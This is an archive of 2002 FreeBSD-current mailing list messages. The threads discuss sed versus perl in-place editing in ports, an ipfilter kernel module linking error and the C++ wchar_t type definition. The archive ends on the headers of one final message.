Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, Jun 16, 2002 at 11:43:59AM -0700, Kris Kennaway wrote:
> > ==> ${REINPLACE_CMD} has different semantics on -current and -stable
> > 
> > Maintainer only using -stable won't be able to get that error and fix it
> > _before_ submitting.
> 
> Yeah, I really don't like this.  At the very minimum there needs to be
> an easy way port maintainers can test with all variants of the
> REINPLACE_CMD implementation to make sure it works in all cases.  The
> differences in regexp syntax is going to be another major cause of
> tears.

Personally I fail to see what is so wrong with making Perl a
BUILD_DEPENDS.  I did this for my own ports.  IMO just about every system
out there is going to have perl installed for one reason or another.  So
I don't see this as an unreasonable dependancy.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:30:57 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 9631037B413; Mon, 17 Jun 2002 20:30:54 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5I3TgP8020798;
	Mon, 17 Jun 2002 20:29:42 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5I3Tebx020797;
	Mon, 17 Jun 2002 20:29:40 -0700 (PDT)
Date: Mon, 17 Jun 2002 20:29:40 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Oliver Braun <obraun@informatik.unibw-muenchen.de>
Cc: Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org
Subject: Re: rsync 5.x breakage
Message-ID: <20020617202940.E20621@dragon.nuxi.com>
Reply-To: ports@freebsd.org, current@freebsd.org
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020616123029.GA12998@informatik.unibw-muenchen.de>; from obraun@informatik.unibw-muenchen.de on Sun, Jun 16, 2002 at 02:30:29PM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, Jun 16, 2002 at 02:30:29PM +0200, Oliver Braun wrote:
> The problem is that sed(1) on -current fails with "sed -i.bak file", if
> file.bak already exists, but perl does not. 

Please file a PR about this.

> Since net/rsync/Makefile
> uses 3 ${REINPLACE_CMD}s on one file (rsync.h), I have removed the
> backup file with ${RM} file.bak between the calls.

:-(  I can see I should not have dropped maintainership of this port.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:53:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22])
	by hub.freebsd.org (Postfix) with ESMTP id 6E5D437B412
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 20:53:23 -0700 (PDT)
Received: from pool0251.cvx22-bradley.dialup.earthlink.net ([209.179.198.251] helo=mindspring.com)
	by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17KA1p-00022o-00; Mon, 17 Jun 2002 20:51:37 -0700
Message-ID: <3D0EAE20.7B7B797F@mindspring.com>
Date: Mon, 17 Jun 2002 20:50:56 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Julian Elischer <julian@elischer.org>
Cc: Alex.Wilkinson@dsto.defence.gov.au, freebsd-current@freebsd.org
Subject: Re: KSE
References: <Pine.BSF.4.21.0206171943520.15414-100000@InterJet.elischer.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Julian Elischer wrote:
> google cannot generate the revised edition that never was published.

Nope.  But there's enough information in the cached copy to
provide what the original poster was looking for: reading
material.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 22:22:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38])
	by hub.freebsd.org (Postfix) with ESMTP id 6401D37B40C
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 22:22:26 -0700 (PDT)
Received: from blossom.cjclark.org ([12.234.91.48]) by rwcrmhc51.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020618052226.MSXO11426.rwcrmhc51.attbi.com@blossom.cjclark.org>;
          Tue, 18 Jun 2002 05:22:26 +0000
Received: from blossom.cjclark.org (localhost. [127.0.0.1])
	by blossom.cjclark.org (8.12.3/8.12.3) with ESMTP id g5I5MPJX004248;
	Mon, 17 Jun 2002 22:22:25 -0700 (PDT)
	(envelope-from crist.clark@attbi.com)
Received: (from cjc@localhost)
	by blossom.cjclark.org (8.12.3/8.12.3/Submit) id g5I5MOe2004247;
	Mon, 17 Jun 2002 22:22:24 -0700 (PDT)
X-Authentication-Warning: blossom.cjclark.org: cjc set sender to crist.clark@attbi.com using -f
Date: Mon, 17 Jun 2002 22:22:24 -0700
From: "Crist J. Clark" <crist.clark@attbi.com>
To: "David W. Chapman Jr." <dwcjr@inethouston.net>,
	current@FreeBSD.ORG
Subject: Re: ipfilter module
Message-ID: <20020617222224.E3855@blossom.cjclark.org>
Reply-To: cjclark@alum.mit.edu
References: <20020617142825.GA88804@leviathan.inethouston.net> <20020617165634.B2839@blossom.cjclark.org> <20020618003121.GA45368@leviathan.inethouston.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020618003121.GA45368@leviathan.inethouston.net>; from dwcjr@inethouston.net on Mon, Jun 17, 2002 at 07:31:21PM -0500
X-URL: http://people.freebsd.org/~cjc/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, Jun 17, 2002 at 07:31:21PM -0500, David W. Chapman Jr. wrote:
> On Mon, Jun 17, 2002 at 04:56:34PM -0700, Crist J. Clark wrote:
> > On Mon, Jun 17, 2002 at 09:28:25AM -0500, David W. Chapman Jr. wrote:
> > > Anyone see this while kldload ipl?
> > > 
> > > link_elf: symbol pfil_add_hook undefined
> > 
> > Yes. It's been broken for ages.
> Should I bug darren?

Sure. He is (or should be) aware of it. I've brought this up
before. It's due to the pfil(9) interface having not yet been pounded
into shape to be used in kld(4)s.
-- 
Crist J. Clark                     |     cjclark@alum.mit.edu
                                   |     cjclark@jhu.edu
http://people.freebsd.org/~cjc/    |     cjc@freebsd.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  0:37:44 2002
Delivered-To: freebsd-current@freebsd.org
Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201])
	by hub.freebsd.org (Postfix) with ESMTP
	id 21B3637B408; Tue, 18 Jun 2002 00:37:38 -0700 (PDT)
Received: from sheldonh (helo=axl.seasidesoftware.co.za)
	by axl.seasidesoftware.co.za with local-esmtp (Exim 3.36 #1)
	id 17KDZF-0000BN-00; Tue, 18 Jun 2002 09:38:21 +0200
From: Sheldon Hearn <sheldonh@starjuice.net>
To: Doug Barton <DougB@FreeBSD.org>
Cc: current@FreeBSD.org, dirkx@covalent.net
Subject: Re: mini-Head's up: rc.syscons now test for /dev/ttyv0 
In-reply-to: Your message of "Mon, 17 Jun 2002 11:31:47 MST."
             <20020617113024.L3858-100000@master.gorean.org> 
Date: Tue, 18 Jun 2002 09:38:21 +0200
Message-ID: <704.1024385901@axl.seasidesoftware.co.za>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG



On Mon, 17 Jun 2002 11:31:47 MST, Doug Barton wrote:

> 	Not in a diskless boot situation, which (according to the comment)
> is the primary reason for this test. Also, the rest of the file is
> meaningless in the absence of this device anyway, so the test is
> reasonable.

Ah, okay.  Serves me right for coming in from the side. :-)

Ciao,
Sheldon.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  1:26:47 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gatesrv.RZ.UniBw-Muenchen.de (gatesrv.RZ.UniBw-Muenchen.de [137.193.11.27])
	by hub.freebsd.org (Postfix) with ESMTP
	id 28AAB37B403; Tue, 18 Jun 2002 01:26:41 -0700 (PDT)
Received: from nemesis.informatik.unibw-muenchen.de (nemesis.Informatik.UniBw-Muenchen.de [137.193.60.30])
	by gatesrv.RZ.UniBw-Muenchen.de (8.11.2/8.11.2) with ESMTP id g5I8LYY22392;
	Tue, 18 Jun 2002 10:21:34 +0200 (MEST)
Received: from localhost (localhost.informatik.unibw-muenchen.de [127.0.0.1])
	by nemesis.informatik.unibw-muenchen.de (Postfix) with ESMTP
	id 1D2705A548; Tue, 18 Jun 2002 10:21:33 +0200 (CEST)
Received: by nemesis.informatik.unibw-muenchen.de (Postfix, from userid 1001)
	id 5EB2E5A544; Tue, 18 Jun 2002 10:21:32 +0200 (CEST)
Date: Tue, 18 Jun 2002 10:21:32 +0200
From: Oliver Braun <obraun@informatik.unibw-muenchen.de>
To: "David O'Brien" <obrien@freebsd.org>
Cc: Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org
Subject: Re: rsync 5.x breakage
Message-ID: <20020618082132.GA57151@informatik.unibw-muenchen.de>
Mail-Followup-To: Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	David O'Brien <obrien@FreeBSD.org>,
	Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de> <20020617202940.E20621@dragon.nuxi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617202940.E20621@dragon.nuxi.com>
Organization: University of the Federal Armed Forces Munich, Germany
X-Mailer: Mutt http://www.mutt.org/
X-OS: FreeBSD 4.6-STABLE i386 http://www.freebsd.org/
X-Newsreader: SLRN http://www.slrn.org/
X-Uptime: 22:20
X-URL: http://ist.unibw-muenchen.de/People/obraun
X-Accept-Language: de en
X-Location: Europe, Germany, Munich
X-Editor: Vim-601 http://www.vim.org/
User-Agent: Mutt/1.5.1i
X-Virus-Scanned: by AMaViS snapshot-20020300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* David O'Brien <obrien@freebsd.org> [2002-06-18 05:32]:
> On Sun, Jun 16, 2002 at 02:30:29PM +0200, Oliver Braun wrote:
> > The problem is that sed(1) on -current fails with "sed -i.bak file", if
> > file.bak already exists, but perl does not. 
> Please file a PR about this.

done

> > Since net/rsync/Makefile
> > uses 3 ${REINPLACE_CMD}s on one file (rsync.h), I have removed the
> > backup file with ${RM} file.bak between the calls.
> :-(  I can see I should not have dropped maintainership of this port.

The 3 substitutions on one file were already present when I take over
maintainership.

As I have written before I am not very happy with my fix. So, if you
have a better solution, please let me know.

BTW, why have you added BUILD_DEPENDS=  perl:${PORTSDIR}/lang/perl5 to
net/rsync? Only for the patches?

Regards,
         Olli
-- 
IST & IIS _ INF _ UniBwM ___________ http://ist.unibw-muenchen.de/People/obraun/
Tele-Consulting GmbH _______________ http://www.tele-consulting.com/ ___ obraun@
FreeBSD: The Power To Serve ________ http://www.freebsd.org/ ___________________
GnuPG: 0xEF25B1BA Fingerprint: 6A3B 042A 732E 17E4 B6E7 3EAF C0B1 6B7D EF25 B1BA

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  3: 3:47 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by hub.freebsd.org (Postfix) with ESMTP
	id D678737B401; Tue, 18 Jun 2002 03:03:41 -0700 (PDT)
Received: from fwd08.sul.t-online.de 
	by mailout04.sul.t-online.com with smtp 
	id 17KFpp-0001GX-07; Tue, 18 Jun 2002 12:03:37 +0200
Received: from Magelan.Leidinger.net (520065502893-0001@[217.83.30.244]) by fmrl08.sul.t-online.com
	with esmtp id 17KFpm-029uoiC; Tue, 18 Jun 2002 12:03:34 +0200
Received: from Leidinger.net (netchild@localhost [127.0.0.1])
	by Magelan.Leidinger.net (8.12.3/8.12.3) with ESMTP id g5IA5HHC000659;
	Tue, 18 Jun 2002 12:05:21 +0200 (CEST)
	(envelope-from netchild@Leidinger.net)
Message-Id: <200206181005.g5IA5HHC000659@Magelan.Leidinger.net>
Date: Tue, 18 Jun 2002 12:05:17 +0200 (CEST)
From: Alexander Leidinger <Alexander@Leidinger.net>
Subject: Re: PATCH: wchar_t is already defined in libstd++
To: obrien@FreeBSD.ORG
Cc: wollman@lcs.mit.edu, rivers@dignus.com, mb@imp.ch,
	current@FreeBSD.ORG
In-Reply-To: <20020617202154.B20621@dragon.nuxi.com>
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
X-Sender: 520065502893-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 17 Jun, David O'Brien wrote:

>> Actually, the correct approach would be to avoid defining
>> _BSD_WCHAR_T_ when compiling C++.  This way, it only needs to be done
> 
> I am much more likely to force the libstdc++ build to use our
> _BSD_WCHAR_T_.  Our types should be centralized and not in some hidden
> vendor software that often makes wrong assumptions about us.

This breaks other compilers. In my tree I have a patch which looks like
Martin's first patch to fix the same problem with icc.

Bye,
Alexander.

-- 
                Where do you think you're going today?

http://www.Leidinger.net                       Alexander @ Leidinger.net
  GPG fingerprint = C518 BC70 E67F 143F BE91  3365 79E2 9C60 B006 3FE7


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  3: 7:33 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP id A240D37B404
	for <current@FreeBSD.ORG>; Tue, 18 Jun 2002 03:07:27 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5IA7Ob37057;
	Tue, 18 Jun 2002 12:07:24 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5IA7N9014036592;
	Tue, 18 Jun 2002 12:07:24 +0200 (MES)
Date: Tue, 18 Jun 2002 12:08:25 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, <current@FreeBSD.ORG>
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <3D0EA022.7931AAF7@mindspring.com>
Message-ID: <20020618120736.E60170-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi Terry,

> Terry Lambert wrote:
> > In any case, here is a patch for i386; you will need similar
> > patches for the other architectures.
>
> Oops.
>
> I messed the negative logic.  BTW, that should be an #ifndef
> insdtead of a #ifdef in your original patch.
>
> Here is a corrected patch for ansi.h.

This looks ok to me. And like this we would only have to change one
file, Garrett is right.

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  3:29:57 2002
Delivered-To: freebsd-current@freebsd.org
Received: from goose.mail.pas.earthlink.net (goose.mail.pas.earthlink.net [207.217.120.18])
	by hub.freebsd.org (Postfix) with ESMTP id 1FA3237B411
	for <current@freebsd.org>; Tue, 18 Jun 2002 03:29:51 -0700 (PDT)
Received: from pool0040.cvx21-bradley.dialup.earthlink.net ([209.179.192.40] helo=mindspring.com)
	by goose.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17KGF2-0003jZ-00; Tue, 18 Jun 2002 03:29:40 -0700
Message-ID: <3D0F0B6E.3258EE82@mindspring.com>
Date: Tue, 18 Jun 2002 03:29:02 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Martin Blapp <mb@imp.ch>
Cc: Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, current@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <20020618120736.E60170-100000@levais.imp.ch>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Martin Blapp wrote:
> This looks ok to me. And like this we would only have to change one
> file, Garrett is right.

That's the first thing I said: "Garrett's right".

David O'Brian had the point that there was a tools dependency that
this imposes that maybe ought not to be there.  Since wchar_t is a
reserved keyword in C++ according to the standard, I think that the
synchronization of the size of the object when it's typedef'ed
matching the size of the object manifest in C++, is FreeBSD's
problem (hence my earlier comment about being screwed based on the
wchar_t size).  It's annoying, but it's something that the OS
pretty much has to eat.  The only workaround might be to size the
type with config code in C++ to generate the header from a template
(I don't like that).

Personally, I vote for u_int16_t... Unicode 16 bit, vs. ISO-10646
code page zero (other code pages aren't defined at all anyway, and
it matches Windows, in case you want to use an ELF library from a
Windows box, if you can figure out how).

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  4:15:30 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dignus.com (sdsl-64-32-254-102.dsl.iad.megapath.net [64.32.254.102])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8E9A637B406; Tue, 18 Jun 2002 04:15:24 -0700 (PDT)
Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3])
	by dignus.com (8.11.6/8.11.3) with ESMTP id g5IB91h85264;
	Tue, 18 Jun 2002 07:09:01 -0400 (EDT)
	(envelope-from rivers@dignus.com)
Received: (from rivers@localhost)
	by lakes.dignus.com (8.11.6/8.11.3) id g5IB9Rq54848;
	Tue, 18 Jun 2002 07:09:27 -0400 (EDT)
	(envelope-from rivers)
Date: Tue, 18 Jun 2002 07:09:27 -0400 (EDT)
From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <200206181109.g5IB9Rq54848@lakes.dignus.com>
To: freebsd-current@freebsd.org, obrien@freebsd.org,
	wollman@lcs.mit.edu
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <20020617202154.B20621@dragon.nuxi.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

"David O'Brien" <obrien@FreeBSD.ORG> wrote:
> 
> On Mon, Jun 17, 2002 at 06:16:45PM -0400, Garrett Wollman wrote:
> > <<On Mon, 17 Jun 2002 18:02:17 -0400 (EDT), Thomas David Rivers <rivers@dignus.com> said:
> > 
> > >   The correct approach (and, I have to admit to not
> > >  glancing at your patch) would be:
> > 
> > >    #ifndef __cplusplus
> > >    typedef _BSD_WCHAR_T_   wchar_t
> > >    #endif
> > 
> > Actually, the correct approach would be to avoid defining
> > _BSD_WCHAR_T_ when compiling C++.  This way, it only needs to be done
> 
> I am much more likely to force the libstdc++ build to use our
> _BSD_WCHAR_T_.  Our types should be centralized and not in some hidden
> vendor software that often makes wrong assumptions about us.

 I accidently sent a reply to just David, so please forgive
 the duplicate.

 I think there is a misunderstanding here...

 It's not that the vendor software has "hidden" the definition
 of `wchar_t'.  The C++ standard mandates that `wchar_t' be
 a "builtin" type, just like `int'.  

 This is so function overloading can distinguish based on the
 `wchar_t' type.

 That is, these would be two *different* functions in a standard-
 conforming implementation:

	void
	foo(unsigned int)
 	{
	}

	void
	foo(wchar_t) 
	{
	}

 If `wchar_t' is simply a typedef provided by the headers,
 then the implementation isn't C++ standard conforming.
 Also note that the source above is C++ standard conforming,
 you don't need to #include anything to get the definition
 of `wchar_t'.

 gcc v3.x finally gets this correct - and we have to adjust
 the headers to no longer define a typedef for wchar_t
 in this situation.

 This is not a situation of gcc being wrong - it's the 
 opposite - gcc is getting closer to right :-)

	- Dave Rivers -

--
rivers@dignus.com                        Work: (919) 676-0847
Get your mainframe programming tools at http://www.dignus.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  4:25:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dignus.com (sdsl-64-32-254-102.dsl.iad.megapath.net [64.32.254.102])
	by hub.freebsd.org (Postfix) with ESMTP id 9099F37B408
	for <current@FreeBSD.ORG>; Tue, 18 Jun 2002 04:25:36 -0700 (PDT)
Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3])
	by dignus.com (8.11.6/8.11.3) with ESMTP id g5IBJ8h85293;
	Tue, 18 Jun 2002 07:19:08 -0400 (EDT)
	(envelope-from rivers@dignus.com)
Received: (from rivers@localhost)
	by lakes.dignus.com (8.11.6/8.11.3) id g5IBJX954922;
	Tue, 18 Jun 2002 07:19:33 -0400 (EDT)
	(envelope-from rivers)
Date: Tue, 18 Jun 2002 07:19:33 -0400 (EDT)
From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <200206181119.g5IBJX954922@lakes.dignus.com>
To: mb@imp.ch, tlambert2@mindspring.com
Subject: Re: PATCH: wchar_t is already defined in libstd++
Cc: current@FreeBSD.ORG, rivers@dignus.com, wollman@lcs.mit.edu
In-Reply-To: <3D0F0B6E.3258EE82@mindspring.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Terry Lambert <tlambert2@mindspring.com> wrote:
> 
> Martin Blapp wrote:
> > This looks ok to me. And like this we would only have to change one
> > file, Garrett is right.
> 
> That's the first thing I said: "Garrett's right".
> 
> David O'Brian had the point that there was a tools dependency that
> this imposes that maybe ought not to be there.  Since wchar_t is a
> reserved keyword in C++ according to the standard, I think that the
> synchronization of the size of the object when it's typedef'ed
> matching the size of the object manifest in C++, is FreeBSD's
> problem (hence my earlier comment about being screwed based on the
> wchar_t size).  It's annoying, but it's something that the OS
> pretty much has to eat.  The only workaround might be to size the
> type with config code in C++ to generate the header from a template
> (I don't like that).
> 
> Personally, I vote for u_int16_t... Unicode 16 bit, vs. ISO-10646
> code page zero (other code pages aren't defined at all anyway, and
> it matches Windows, in case you want to use an ELF library from a
> Windows box, if you can figure out how).

 I noticed before that you mentioned you didn't want the
 wchar_t to be int-sized (i.e. 32 bits.)  I was just wondering
 why.

 If we "shrink" the size at this point, would that have some
 impact on existing programs.  (Currently, the typedef
 for `wchar_t' works down to an `int', if I'm not mistaken.)

	- Dave Rivers -

--
rivers@dignus.com                        Work: (919) 676-0847
Get your mainframe programming tools at http://www.dignus.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  4:47:31 2002
Delivered-To: freebsd-current@freebsd.org
Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74])
	by hub.freebsd.org (Postfix) with ESMTP id 1E35C37B405
	for <current@freebsd.org>; Tue, 18 Jun 2002 04:47:22 -0700 (PDT)
Received: from pool0040.cvx21-bradley.dialup.earthlink.net ([209.179.192.40] helo=mindspring.com)
	by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17KHS2-0003k7-00; Tue, 18 Jun 2002 04:47:11 -0700
Message-ID: <3D0F1D98.31B49358@mindspring.com>
Date: Tue, 18 Jun 2002 04:46:32 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas David Rivers <rivers@dignus.com>
Cc: mb@imp.ch, current@FreeBSD.ORG, wollman@lcs.mit.edu
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <200206181119.g5IBJX954922@lakes.dignus.com>
